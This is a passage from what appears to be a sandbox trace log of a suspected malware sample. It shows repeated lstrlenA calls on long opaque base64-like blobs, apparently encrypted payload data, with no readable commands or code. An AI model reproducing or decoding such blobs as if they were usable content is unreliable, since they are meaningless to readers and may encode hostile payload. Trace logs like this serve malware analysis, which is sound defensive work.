DWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.635] lstrlenA (lpString="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") returned 5820
	[0084.635] lstrlenA (lpString="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") returned 5820
	[0084.635] lstrlenA (lpString="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